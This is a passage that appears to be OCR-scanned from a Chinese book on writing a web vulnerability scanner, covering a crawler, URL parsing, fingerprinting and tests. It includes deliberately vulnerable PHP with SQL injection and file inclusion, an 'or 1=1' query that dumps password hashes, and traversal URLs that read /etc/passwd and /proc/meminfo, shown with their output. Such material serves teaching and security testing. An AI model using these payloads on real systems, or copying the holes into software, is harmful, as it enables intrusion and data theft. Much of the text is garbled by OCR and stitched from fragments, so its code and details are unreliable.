URL:http://testphp.vulnweb.con/AJAX/ Depth:2
URL:http://testphp.vulnweb.com/AJAX/styles.css Depth:2
URL:http://testphp.vulnweb.con/AJAX/ Depth:2
URL:http://testphp.vulnuweb.comn/AJAX/styles.css Depth:2
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PHP#RET for LNMP—@REA - Iceweasel x
/ PHPEREF for LNMP—fit-- x \*
€ @192.168.126.141 00 ) vella i |8 & & =

PHP IR b o penn e o BRIRASAE

BB%FANPHAE  www.inmp.org(192.168.126.141)
M BAFR Linux debian 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
R SRR Linux Py#&hRA : 3.16.0-4-amd64 BB BRET R ngin1.8.0
% HES 2h-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 PRFBWO 80
BFZENE debian EO St Ihomeiwwwroot/default
EI RHEAR BREHERR Ihome/wwwroot/default/p.php
¥R @ http://192.168.126.141/p.php - Iceweasel x

XHHE) HWEBE) BEV) WEH) W gl

"http://www.w3. arg/TR/xhtlH/DTD/lel

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitio

<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>

P P ="IE=EmulatelE7" />
<-eta http- equlv "Content-Type" content="text/html; charset=utf-8" />
<!-- Powered by: Yahei.Net -->
<style type="text/css">
<l==
* {font-family: Tahoma, "Microsoft Yahei", Arial; }
body{text-align: center; margin: @ auto; padding: @; background-color:#FFFFFF;font-size:12px;font-family:Tahoma,
h1 {font-size: 26px; font-weight: normal; padding: @; margin: @; color: #444444;}






OEBPS/Image00167.jpg
CEEES ISR:EE i

R 4% )2 G4 WAF, %45 DNS
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M52 Web fIR55 %% AServer

8z A /2 HEWKT G

BEE ISP
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|/ INMP—HEEHEA by Lic.. X

\+

LNMP—@TEM by Licess - Iceweasel

€ @192.168.126.141

vellak

%8B & & |

FEL , INVP—RREARKA |

ANGIUX v @

LNMP—&& ¥R — ALinux ShellZR BRI LA
CentOS/RadHat, Debian/Ubuntu VPS(VDS)&Fh 3 FH &3

R| czEx | >mla | @ WHE | HstmEs ®E[% ae x

O s L3

v ik Rk i %3 o) Cookie | £ | WE | fE | R |-

CRECPECRDIEVER W sRME: http://192.168.126.141/
@ 192.168.126.141 ;*7‘!')*2 GET

A 304 GET X4 lnmp. gif SGUEMER  RiAk

Connection: "keep-alive"
Date: “Fri, 09 Dec 2016 05:11:59 GMT"
Etag: ""5735a311-8ed""

A S
Last-Modified: "Fri, 13 May 2016 09:49:05 GMT"
L Server: nginx | |
) / ~ Rk (0.422 KB)
Headersﬁ?ﬂi Host: "192.168.126.141"

User-Agent: "Mozilla/5.0 (X11; Linux...x/38.0 Iceweasel/38.8.0"

Accept: "text/html,application/xht...ation/xml;q=0.9,*/*;q=0.8"

© 2 MR, 9.32 KB, 0.09 B ik

JE-M HTML €55 JS XHR ik MEH K Flash  Hfth
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P (PNGEfg , 48x4.. x \ &
€ @192.168.126.141/tf = v @ J wBa ¥ & =
2

R| o EER > #Hla © Fil# | [F #UmESR | O Mk
o]

™ E| & 00 x
2H ] FERT

RASHG: @ 200 0k WEMERX  RiaX

I8z (0.304 KB)
Cache-Control: "no-store, no-cache, mu...t-check=0, pre-check=0"

: "Thy, 19 Nov 1 8:52:00 GMT"
Pragma: “no-cache”
Server: "nginx”

Transfer-Encoding: “chunked” Headersﬁ{m

X-Powered-By: "PHP/5.4.41"
imiyoo@debian: ~/ T %% x
JAHF) RIE(E) BA\V) BR(S) (T WEHIH)

L
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app.db

#coding=utf-8

#teye finger

#EE LA, MRS, AV, b 2 1, FOA 2R 1, ax B R OB 2 B A1) 28 HH R
{"lnmp":{"url":"/p.php","body":"<title>PHPf§€+\\s*for\\S*LNMP“‘§§§¥§ﬁ§</title>"}}
{"thinkphp":{"url":"/","md5":”a33d202bl7b9%b1la50e5ac54af6eff74e”}}
{"nginx":{"url":"/","headers": ["server", "nginx"]}}

’
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for k in root a list:

al i nde xR let g il cl)
avhref I =kigeti(thre £il)
elem = "document.getElementsByTagName ('a') [" + str(a_indexl) + "]"
a page, a res = g.jsclikc(elem,expect loading=True)
For U I nNal Ees

u 1= url eobjeecti(u L. url)

if u 1 not in self.urls seen:

self.urls seen.add(u_ 1)

current read = g.content
new a list = dom.getAs ()
for 1 in sublist(new a list,root a list):
alii ndex2 8= g e el i)
a href2 =1l.get ("href")

elem = "document.getElementsByTagName ('a') [" + str(a index2) + "]"
a8 page, a res = gJjsclick(elem, expect lcading=True)
iioie 1 2 ale 2 SEEEE
u 28 = url ebject(h 2. .url)
if u 2 not in self.urls seen:
selfiurls seen-add(n 2)

current read =g.content
new a list = dom.getAs()
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C:\watcraulerduatcrauler.exe —u “http://testphp.vulnueb.con/AJAR/ "
UR /testphp.vulnueb.con/AJAX/ Depth:d
Uisiting:http://testphp.vulnweb.con/AJAR/
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Jeclick:

}I

function (jscontent) {
eval (jscontent) ;

var elem
if ('elem) {
return false;

}

var evt

evt.initMouseEvent ("click",
false,

false, false, false,
(elem.dispatchEvent (evt)) {

i
ZEiEbhcn TEtE

}
return false;

true,

0,

true,
elem) ;

document .createEvent ("MouseEvents"™) ;
window,

iy
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$id = $ GET["id"]
sql "Select * from user where id=".$id;





OEBPS/Image00176.jpg
TR
(iR AT AR
FF )

M AT

(EBEHEH =
Hpayload)

EREHEE S

(ERFETRETIRTR
bl t]j_-)






OEBPS/Image00081.jpg
imiyoo: "~ /workplace/tscanner$ nosetests tests/test_URL.py —s

Ran 1 test in 0.000s

0K
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mysql> select * from user where id =3;

3 | test | 098 fbbcd4621d373cadede832627b4 6 |
fo-mmfommmmmmee- T T +
1 row in set (0.00 sec)
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"Select * from content where id=3";
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self.gs =urlres.query
self.fragment =urlres.fragment
#ARILURL A 4844
def get domain (self):
return self.netloc.split(':") [0]
#IKEURL A £ L4
def get host (self):
return self.netloc.split('":")[0]
#ARIORLH 4 3 11
def get_port (self):
return self.port
#IRILURL H K 45
def get path(self):
return self.path
#ARINURL A (3144
def get filename (self):
return self.path[self.path.rfind('/')+1:]
#IRIURL A IS R 44
def get_ext (self):
fname = self.get filename ()
ext = fname[fname.rfind('."')+1l:]
if ext ==fname:
return ''
eilisel
return ext
#IRELURL H 5 5
def get query(self):
return self.gs
#ARRURL TR S 1) 56 38 7 1+ et
@property
def url string(self):
u_url = self. unicode_ url
if not self. changed or u_url is None:
data = (self.scheme, self.netloc, self.path,self.params, self.gs,
self.fragment)
dataurl = urlparse.urlunparse (data)
EYy:
u_url = unicode (dataurl)
except UnicodeDecodeError:
u_url = unicode (dataurl, self._encoding, 'replace')
self. unicode url =u_url
self. changed = True
return calc

def  str |(self):
return "%s" % (self.url string.encode (self. encoding))
def _ repr (self):

return '<URL for "$s">' % self.url string.encode(self. encoding)
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select * from user where id =3 or 1=1;

admin | 21232f297a57a5a743894a0e4a801fc3 |

demo | feblce2alfhac8fafaed7c982a04e229 |
| 098f6bcd4621d373cade4e832627b4 6 |

in set (0.00 sec)
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#coding=utf-8

test URL.py

from teye web.http.URL import URL

def TestURL() :

url URL ("http://www.anquanbao.com/book/index.php?id=1#top")
assert url.get host()=="www.anquanbao.com"

asSertRlE getipor= (=8I0

assert url.get path()="/book/index.php"

assertiur Figetl filllenamel()==tindexSphp

ascertBuEgetlc X EI==tphpl

assert url.get query()=="id=1"

dssertiuE gl ragmen (St coph

assert url.url string==" http://www.anquanbao.com/book/index.php?id=1#top"
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"Select * from user where id =3 or 1=1";
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#HHEUHT FIURLION BA S Hh
for next url in new _urls:
if next_url not in seen:
seen.put (next url)
url queue.put (next url)
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#coding=utf-8

URL.py

Vi

import urlparse

DEFAULT ENCODING="utf-8"

elass URL:
def init (self,url,encoding=DEFAULT ENCODING) :
self i unicodelurl = None
self. change SRHEcliSe
self. encoding =encoding
1f not wurl.startswith ("https://")  and net url.startswith ("heEp://"):

#ERINIE Nhttp

url = "http://" + url
urlres= urlparse,urlparse(url)
gelf.scheme = urlres.scheme
if urlres.port is None:

self.port = 80
else:

self.port = urlres.port
#www.watscan.com: 80

if urlres.netloc.find(":")>-1:

self.netloc =urlres.netloc
else:

self.netloc =urlres.netloc+":"+str(self.port)
self.path =urlres.path

self.params =urlres.params
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R

if isinstance (content,unicode) :
content = content.encode ("utf-8")
else:
content = content
m = hashlib.md5 ()
Gry:e
m.update (content)
return m.hexdigest ()
except:
return None

def scan_ finger (self,site):

EE]
T
app_name_list = []
for item in self. app db:
if item.startswith ("#"):

continue
dict_item =json.loads (item.strip())
app_name = "".join(dict_item.keys()).strip()

app_info = dict_item.get (app_name)
url = app_info.get ("url")
urlobj = URL(site)
if self. scan mode==i1:
test url = urlebj.get uri stringi()
if test url.endswith("/"):
target url = test url[0:=1] + url
else:
target url = test url + url
else:
test _url = urlobj.get domain ()
target url = urlobj.get_ scheme()+"://"+test url+ url
log.info(target_url)

try:

res = wcurl.get (target url)
except:

continue
dst_headers = res.headers

dst_body = res.body
self. http code = res.get code()
Erye
self. server finger = dst_headers["server"]
except:
pass
if dst_body is None:
continue
md5 body = self.md5 (dst_body)
key list = app_info.keys()
if "headers" in key list:
app_headers = app info.get ("headers"
app_key = app_headers[0].lower ()
app_value = app_headers[1]
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#coding=utf-8

FingerScan.py
T

import os
import sys
import re
import json
import hashlib

from wCurl import wcurl
from LogManager import log
from teye web.http.URL import URL

class FingerScan:
LR ]

e ML
clesn dlgnlie (SedlE) g
{6

self. app file = "teye file/finger/app.db"
sellFappidbE=Nopeni(sel FMlappl FillicPiteb s readiiinesi()
#HRSCAHR L IR A I, 19 B e AR R R

sel £ scanimodel =l

def md5 (self, content) :
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imiyoo:~ /workplace/tscanner/tests$ nosetests test_class_FingerScan.py —s
http://192. 168. 126. 143/ HINFAESA:

[u'nginx', u'lnmp']

http://192. 168. 126. 143/thinkphp/ HIRFHELEIA:

[u'nginx', u'thinkphp']

Ran 1 test in 1.878s

0K
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if app key in dst headers.keys():
dst_info = dst headers.get (app_key)
result =hresearchi(@ppl vallue dstinEo ire o)
if result:
SRRt bedyamiin ke vl s £
app body = app info.get ("body")
result = re.search(app body,dst body,re.I)
if result:
app_name list.append(app name)
else:
app_name list.append (app_name)
el FRtbodyinS keys st
app_body = app_info.get ("body")
result = re.search (app body,dst body,re.I)
if result:
app_name list.append (app_name)
e LiFRtmd 5N inWice valltifsTE <
app md5 = app info.get ("md5")
if app md5 == md5 body:
app_name list.append (app_name)

return app name list
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URL &

http://www.anquanbao.com/index.php?a=1&b=do

URL =5
http://www.anquanbao.com/index.php?a=1&b=do
http://www.anquanbao.com/index.php?a=1&b=do B

URL REHE
http://www.anquanbao.com/index.php?a=1&b=test
http://www.anquanbao.com/index.php?a=1

URL #H{EA
http://www.anquanbao.com/index.php?a=1024
http://www.anquanbao.com/index.php?a=1

URL AR
http://www.anquanbao.com/index.php?b=1024
http://www.anquanbao.com/index.php?a=1&b=new&c=test

URL 1.
http://www.anquanbao.com/index.php?a=1024&b=old
http://www.anquanbao.com/index.php?a=1&b=new&c=test

URL A&

http://www.anquanbao.com/index.php?a=1024&b=old&d=1
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from Queue import Queue
MAX=100

#H46 M TLURL
root url = "http://www.anquanbao.com"

#URLBAZ
url queue = Queue (MAX)
urlqueneput(rootiurl)

while True:
FEVEL—ERIFM, (T IETEHL
if cond Eilon:
break

# A BAFI SR HUA TEAT I URL

currentiur =S ur gneuchiget ()

FARIBCHT T 3T URL

new urls = get new url (current url)
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® testphp.vulnweb.com/AJAX/index.php *

* r4w8173
« Blad3
* lyzae

= ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits EditThisCookie
¥ <Tap (& BOTUET="¢" Cellpanaing="3" W10TN="56v" align="center"s
v <tbody>
P> <tre.</tr>
v<tr>

contentDiv

<a href="javascript:getInfo('infoartist', '1')">r4w8173</a>
</li>
v <li>
<a href="javascript:getInfo('infoartist', '2')">Blad3</a>
</li>
v <li>
<a href="javascript:getInfo('infoartist', '3')">lyzae</a>
</li>
</ul>
</div>

AL
</tr>
v<tr>
v <td>
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location /abcd.html
{
rewrite /abcd.html /test.html;
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® 192.168.126.145/abcd.html

| am the page test.ntml!

[® (1] @ Elements Console Sources Network Timeline Profiles Application Security Audits EditThisCookie x
O | m ¥ | Viw Preserve log |~ Disable cache Offline  No throttiing v
Regex | Hide dataURLs () XHR JS CSS Img Media Font Doc WS Manifest Other
Name Method Status Type Initiator Size Time. Timeline - Start Time 1.00sA
| abcd.htm GET 200 document  Other 2548 oms | of
==
|| catcherjs GET 200 script injectors:78 (from disk.... ms 1
(from disk. 31ms =

|| injectjs GET 200 script contents:55
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GET /book/tiaozhuan/index.html HTTP/1.1

Host: 192.168.126.137

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 10 2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/51.0.2704.103 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;g=0.8,en;g=0.6

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 09 Aug 2016 12:54:47 GMT
Content-Type: text/html

Content-Length: 17

Last-Modified: Fri, 01 Jul 2016 08:04:17 GMT
Connection: keep-alive

Eliagi 562400 =11

Accept-Ranges: bytes

Hello, the World!
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#coding=utf-8

(R

crawler.py

v

import sys

import traceback

import itertools

import time

from Queue import Queue

from LogManager import log as om
#HTTP

from teye web.http.URL import URL

from teye web.http.Request import Request

from teye web.http.Response import Response

FURLAH LA (2 55 b 2R

from teye web.http.function import is_similar url

# U A A

import teye web.parser.dpCache as dpCache

#wCurl

from wCurl import wcurl
import traceback

#404 Check

from teye util.page 404 import is_404

class Crawler (object) :

def _ init (self, depth limit=3, time limit=30,req limit=100,

filter similar=True):

i
IRl

self roet =t

self. target domain = ''

self.depth_limit = depth limit
self.time limit = time limit
self.req limit = req limit

self. sleeptime = 1
selE vl lhist s =[]

self. already visit url =
self. already seen urls =
self. already send regs =

self. white ext = ['asp',

self. black ext = ["ico",
WEart, "EEE£"]

self.num regs = 0

self. wRequestList = []

self. start time = None

set ()
set ()
set ()

'aspx'
"ipg",

self. other domains = set()

def get_discovery time (self):
v

, 'Jsp',

"gif",

'php',
nygn,

"png",

'do',

"bmp",

'action']

"css",

"zip",
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/proc/meminfo
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imiyoo: /workplace/tscanner/tests$ python test_retry_action. py
TScanner:2017-01-05 00:14:12, 891:test_retry_action. wrapper. 19 — Retry Count:1
TScanner:2017-01-05 00:14:13, 976:test_retry_action. wrapper. 19 — Retry Count:2
TScanner:2017-01-05 00:14:15, 064:test_retry_action. wrapper. 19 — Retry Count:3
TScanner:2017-01-05 00:14:16, 157:test_retry_action. wrapper. 19 — Retry Count:4
Traceback (most recent call last):

File "test_retry_action.py”, line 32, in <module>
send_http_req (1)

File "test_retry_action.py”, line 21, in wrapper
return wrapper (*args, **kwargs)

File "test_retry_action.py”, line 21, in wrapper
return wrapper (*args, **kwargs)

File "test_retry_action.py”, line 21, in wrapper
return wrapper (*args, **kwargs)

File "test_retry_action.py”, line 21, in wrapper
return wrapper (*args, **kwargs)

File "test_retry_action.py”, line 23, in wrapper

raise Exception (e)
Exception: ('Connection aborted.', error (54, 'Connection reset by peer'))






OEBPS/Image00264.jpg
SRR RERER
/proc/emdline JABIHAL 4 kernel (IS 5(E B
/proc/devices WY& e S
/proc/cpuinfo R4 CPU KB R
/proc/meminfo RAM f FIAE 5 2
/proc/version Linux WAZRAFI GCC hitA
/proc/partitions or X H RS RS S

/proc/uptime

RGCRIBITTZA
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[ 192.168.126.137/book/tiaozhuan/index.html |
Hello,the World!
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new_reds.append (wreq)
self. wRequestList.append (wreq)
for item in form regs:
if item not in self. wRequestList:
new_regs.append (wreq)
self. wRequestList.append (wreq)
return new_regs

def _url to reg(self,new url, response,method="GET") :

req = Request (new_url

req.set_method (method)

new_referer = response.get_url ()
req.set refereri(new referer)
new_cookies = response.get_cookies ()
req.set_cookies (new_cookies)

return req

def crawl (self, root_url):
v

T

if not isinstance(root_url,URL) :
root_url obj = URL(root_url)
else:
root_url obj = root_url

self. target domain = root url obj.get host ()
self. url list.append(root_url_ obj)
root_req = Request (root_url obj)

g = Queue()
g.put ((root_reqg, 0))
self. start time = time.time()
while True:
if g.empty():
break
this_req,depth = g.get ()

RS R AT I D8

if this_reg.get url().get_ext() in self. black_ ext:
continue

A AT IR BE

if depth > self.depth limit:
print "depth limit break"
break

42 TEAT AR o i)

if self.get discovery time() > self.time limit:
print "time limit break"
break
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<?php
$filename = $ GET["data"]l;

@include ("template/".S$filename) ;
?>
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GET /book/tiaozhuan/301.php HTTP/1.1

Host: 192.168.126.137

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 _10_2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/51.0.2704.103 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;g=0.8,en;9=0.6

HTTP/1.1 301 Moved Permanently
Server: nginx

Date: Tue, 09 Aug 2016 12:54:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.41
Cache-Control: no-cache

Location: index.html
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def

def

JI& dIEAT Fmb I, AL N: Sl

now = time.time ()

diff = now - self. start time
return diff / 60

_do_with_regs(self, regs):
i

result = []
count = len(regs)
if regs is None or count==0:
return result
for i in xrange (count) :
filter = Palse
filleer url = reg.get url()
for j in xrange (count-i-1):
k = i+j+1
store url = regs([k].get url()
if is_similar url(filter url,store url):
filter = True
break
if not filter:
result.append (req)
return result

_get _regs_from resp(self, response) :

v
i
new_regs = []
EXEyt
doc_parser = dpCache.dpc.getDocumentParserFor (response)
except Exception,e:
pass
else:
re urls,tag_urls = doc_parser.get get urls()
form reqgs = doc_parser.get form reqs()
seen = set()
for new_url in itertools.chain(re urls,tag_urls):
if new url in seen:
continue
seen.add (new_url)
if new_url.get host() != self.ﬁtarget_domain:
if new_url.get_host() not in self. other domains:
self. other domains.add(new_url.get_host())
continue
if new _url not in self. url list:
self. url list.append (new_url)
wreq = self. url to reg(new_url, response)
if wreqg not in self. wRequestList:
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lceweasel x

/ http://loca...roc/meminfo % \\-|-

€ | @ localhost/book/lfi/1 _Lfi.php?data=/proc/meminfo v C‘" ‘O\ MR ‘ wBe 3 A =

MemTotal: 492496 kB MemFree: 6700 kB MemAvailable: 89056 kB Buffers: 1284 kB Cached: 71404 kB SwapCached: 7544
kB Active: 184880 kB Inactive: 171848 kB Active(anon): 142680 kB Inactive(anon): 142692 kB Active(file): 42200 kB
Inactive(file): 29156 kB Unevictable: O kB Mlocked: O kB SwapTotal: 892924 kB SwapFree: 246672 kB Dirty: 8 kB Writeback:
1140 kB AnonPages: 276920 kB Mapped: 61336 kB Shmem: 1328 kB Slab: 53316 kB SReclaimable: 21476 kB SUnreclaim:
31840 kB KernelStack: 8688 kB PageTables: 26356 kB NFS_Unstable: O kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit:
1139172 kB Committed_AS: 3370252 kB VmallocTotal: 34359738367 kB VmallocUsed: 169560 kB VmallocChunk:
34359544144 kB HardwareCorrupted: O kB AnonHugePages: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd:
0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 61312 kB DirectMap2M: 462848 kB DirectMap1G: O kB
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imiyoo: /workplace/tscanner$ python crawler. py

:2017-02-09 15:23:40, 449:crawler.
:2017-02-09 15:23:40, 875:crawler.
:2017-02-09 15:23:41,880:crawler.
:2017-02-09 15:23:42, 003:crawler.
:2017-02-09 15:23:43, 004:crawler.
:2017-02-09 15:23:43, 923:crawler.
:2017-02-09 15:23:44, 926:crawler.
:2017-02-09 15:23:45, 067:crawler.
:2017-02-09 15:23:46, 068:crawler.
:2017-02-09 15:23:46,510:crawler.
:2017-02-09 15:23:47,511:crawler.
:2017-02-09 15:23:48, 076:crawler.
:2017-02-09 15:23:49, 081:crawler.
:2017-02-09 15:23:49, 271:crawler.
:2017-02-09 15:23:50, 273:crawler.
:2017-02-09 15:23:50, 413:crawler.
:2017-02-09 15:23:51, 419:crawler.
:2017-02-09 15:23:51,526:crawler.
:2017-02-09 15:23:52, 530:crawler.

R AMNERIMERN, 2REHA?

:2017-02-09 15:23:52, 730:crawler.
:2017-02-09 15:23:53, 733:crawler.
:2017-02-09 15:23:54, 034:crawler.
:2017-02-09 15:23:55, 035:crawler.
:2017-02-09 15:23:55, 197:crawler.

crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.
crawl.

crawl.
crawl.
crawl.
crawl.
crawl.

228 - GET Request:http://www. anquanbao. com/

256 — Already Send Regs:1 Left Reqs:7

228 - GET Request:http://www. anquanbao. com/ac. jsp

256 — Already Send Reqs:2 Left Reqgs:6

228 - GET Request:http://www. anquanbao. com/help

256 — Already Send Reqs:3 Left Reqs:147

228 - GET Request:http://www. anquanbao. com/terms

256 — Already Send Regs:4 Left Reqs:148

228 - GET Request:http://www. anquanbao. com/prices

256 - Already Send Reqs:5 Left Regs:150

228 — GET Request:http://www. anquanbao. com/customer—and—partener

256 — Already Send Reqs:6 Left Reqs:253

228 — GET Request:http://www. anquanbao. com/he | p#! JR{T B T CNAMEREA R L F?
256 — Already Send Reqs:7 Left Reqs:252

228 - GET Request:http://www. anquanbao. com/responsibility

256 — Already Send Reqs:8 Left Reqs:254

228 — GET Request:http://www. anquanbao. com/bus iness—cooperation

256 — Already Send Reqs:9 Left Reqs:253

228 — GET Request:http://www. anquanbao. com/help/faq/{ERREEME/E, R AIFINSAE)

256 — Already Send Reqs:10 Left Regs:269

228 - GET Request:http://www. anquanbao. com/cooperation

256 — Already Send Reqs:11 Left Reqs:273

228 - GET Request:http://www. anquanbao. com/he |p/faq/FRBIMIL L HRR KRB EAM?
256 — Already Send Regs:12 Left Regs:272
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lceweasel

/ http//loca..roc/meminfo % | 4

€ | localhost/book/Ufi/2\fi.php?data=../../.././..I..J..I..J..I..Jproc/meminfo| vo|[ak | % & & &

MemTotal: 492496 kB MemFree: 8436 kB MemAvailable: 109700 kB Buffers: 4836 kB Cached: 86648 kB SwapCached: 12196
kB Active: 192660 kB Inactive: 162288 kB Active(anon): 132136 kB Inactive(anon): 132592 kB Active(file): 60524 kB
Inactive(file): 29696 kB Unevictable: O kB Mlocked: O kB SwapTotal: 892924 kB SwapFree: 219956 kB Dirty: 52 kB Writeback: 0
kB AnonPages: 251688 kB Mapped: 70892 kB Shmem: 1252 kB Slab: 53384 kB SReclaimable: 21520 kB SUnreclaim: 31864
kB KernelStack: 8720 kB PageTables: 26504 kB NFS_Unstable: O kB Bounce: O kB WritebackTmp: O kB CommitLimit: 1139172
kB Committed_AS: 3379420 kB VmallocTotal: 34359738367 kB VmallocUsed: 169560 kB VmallocChunk: 34359544144 kB
HardwareCorrupted: O kB AnonHugePages: O kB HugePages_Total: 0 HugePages_Free: O HugePages_Rsvd: O HugePages_Surp: O
Hugepagesize: 2048 kB DirectMap4k: 61312 kB DirectMap2M: 462848 kB DirectMap1G: O kB
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X4 :301 . php

<?php

header ('"HTTP/1.1 301 Moved Permanently');
header ("Location:index.html") ;

?>
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HEHIEAT B BERA, 85 N A7 5
if self.num reqgs > self.req limit:
print "regs num limit break"
break
if this_req in self. already send regs:
continue
155 27
self. already send regs.add(this_req)
om.info ("%s:%s" %
(this_reg.get method(),this_reqg.get url().url string))
response = None
(e
response = wcurl. send req(this_req)
except Exception,e:
print str(e)
pass
if is 404 (response) :
continue
if response is None:
continue
new_regs = self. get regs from resp (response)
il PEAHALAN 6L R ok

filter regs = self. do with regs(new_regs)

depth = depth + 1
for req in filter regs:
g.put ( (req,depth))
self.num regs = len(self. already send regs)
om.info ("Already Send Regs:"+str(self.num regs)+
" Left Regs:" + str(g.gsize()))
except Exception, e:
traceback.print_exc()
om.info ("ERROR: Can't process url '$s' (%s)" % (this_reg.get_url(), e))
continue
time.sleep(self. sleeptime)
return self. wRequestList
if _name_ =="_main_":
i

LR

w = Crawler ()
regs = w.crawl ("http://www.anquanbao.com/")
for item in regs:

print item
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/o)) /.. /proc/meminfo
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XHIRA Content-Type pE il

Jbmp application/x-bmp et

.png application/x-png P&l B A

.css text/css CSS Xt

swf application/x-shockwave-flash Flash S

pdf application/pdf PDF 31

txt text/plain SRS

html, htm text/html HTML (44
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@ testphp.vulnweb.com/AJAX/index.php *

@® view-source:testphp.vulnweb.com/AJAX/index.php W

ol 2 4 Tt
document .cookie = "mycookie=3";
alert('A cookie was set by JavaScript.');

</script>
</head>
<body>
<table border="0" cellpadding="
<tr>
<td class="bordered">
<a href="javascript:loadSomething('artists.php');">artists</a> |
<a href="javascript:loadSomething('categories.php');">categories</a> |
<a href="#" onclick="loadSomething('titles.php')">titles</a> |
<a href="#" onclick="sendXML()">send xml</a> |
<a href="#" onclick="SetMyCookie()">setcookie</a>

width="500" align="center">

</td>
</tr>
<tr>
<td>
<div id="contentDiv">
&nbsp;
</div>
</td>
</tr>
<tr>
<td>
<div id="infoDiv">
&nbsp;
</div>
</td>
</tr>
<tr>
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<?php

Sfilename = $ GET["data"];
@include ($filename.".inc") ;
?>
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def retry action(retry num=3):
def decorator (function) :

count = {"num":0}
def wrapper (*args, **kwargs) :
Erye:

return function (*args, **kwargs)
except Exception,e:

if count<RETYIES:
count +=1
log.info ("Retry Count:%d" % count)
time.sleep(l)
return wapper (*args, **kwargs)

else:
raise Exception (e)

return wrapper
return decorator

@retry action(retry num=4)
detSsendihEtpiree ()

7 10) — AN ASAELE IR I 3

requests.get ("http://www.test.com")
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open_basedir=/home/wwwroot/default:/tmp/:/proc/
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Iceweasel x

|/ httpi//loca...etc/passwd % | 4

€ ) @ locathost/book/Ifi/1 _Ifi php?data=/etc/passwd vellagx [ &va & A =

root:x:0:0:root: /root: /bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin
:man:/var/cache/man:/usr/sbin/nologin Ip: :/var/spool/Ipd:/usr/sbin/nologin
mail:x:8:8:mail: /var/mail: /usr/sbin/nologin news:x:9:9:news: /var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var
/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data: /var/www: /usr
/sbin/nologin :x:34:34:b :/var/b: :/usr/sbin/nologin list:x:38:: iling List < /var/list: /usr/sbin
/nologin irc:x:39:39:ircd: /var/run/ircd: /ust/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin): /var/lib/gnats:
/usr/sbln/nalogm :x:65534:65534: 7 ‘usr/sbin/nologin systemd-timesync:x:100:103:systemd
Time :/run /bin/false systemd: 101:104: Network :/run/systemd
/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-
bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/ :/bin/false i 104:111::/var/run/dbus:/bin/false
avahi:x:105:112:Avahi mDNS daemon,,,:/var/run/avahi on:/bin/false Debi im:x:106:114:: /var/spool/exim4:
/bin/false statd:x:107:65534::/var/lib/nfs:/bin/false colord:x:108:118:colord colour managemenl daemon,,,:/var
/lib/colord: /bin/false :x:109:65534 :/var/lib/misc: /bin/false g :110:119::/var/lib /g

/bin/false pulse:x:111:121:PulseAudio daemon,,,:/var/run/pulse:/bin/false speech-dispatcher:x:112:29:Speech

Di :/var/run/speech-dispatcher:/bin/sh sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin
rtkit:x:114:123:RealtimeKit,,,: /proc: /bin/false saned:x:115:124::/var/lib/saned:/bin/false usbmux:x:116:46:usbmux
daemon,,,:/var/lib/usbmux:/bin/false hplip:x:117:7:HPLIP system user,,,:/var/run/hplip:/bin/false Debian-
gdm:x:118:125:Gnome Display Manager: /var/lib/gdm3: /bin/false imiyoo:x:1000:1000:imiyoo,,,:/home/imiyoo:/bin/bash
mysql:x:1001:1001::/home /mysql:/sbin/nologin www:x:1002:1002::/home /www: /shin/nologin
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0 memory allocations failed
yes check /etc/group for changes

hosts cache:

yes cache is enabled
yes cache is persistent
yes cache is shared
211 suggested size
216064 total data pool size
104 used data pool size
3600 seconds time to live for positive entries
20 seconds time to live for negative entries
0 cache hits on positive entries
@ cache hits on negative entries
cache misses on positive entries
cache misses on negative entries
cache hit rate
current number of cached values
maximum number of cached values
maximum chain length searched
number of delays on rdlock
number of delays on wrlock
memory allocations failed
yes check /etc/hosts for changes

@

ceeem e —
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enable-cache hosts yes
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/etc/init.d/nscd restart
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apt-get install nscd
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for item in res:
print item.url
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def get payload list (self,param):

Vi
Vi
res = []
temp param dict = self. fill param(param)
temp param key = temp param dict.keys ()
for name in temp param key:
o v = temp param dict.get (name)
if type(o v) is list:
3 Flen{(ofv )<=
o v=""_.join (o _v)
else:
O W = @)
payloadiisEa=Ssc i alge ERIRE T st ()
for payload,pattern in payload list:
+EBNSHER, FlIEA
poc_param dict = copy.deepcopy (temp param dict)
poc _param dict[name] = payload
poc_tuple = (name,poc param dict,pattern)
res.append (poc_tuple)
EE B EnlEes
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imiyoo@debian: ~

HF) 4RIS(E
imiyoo@debian:~$ python

Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2

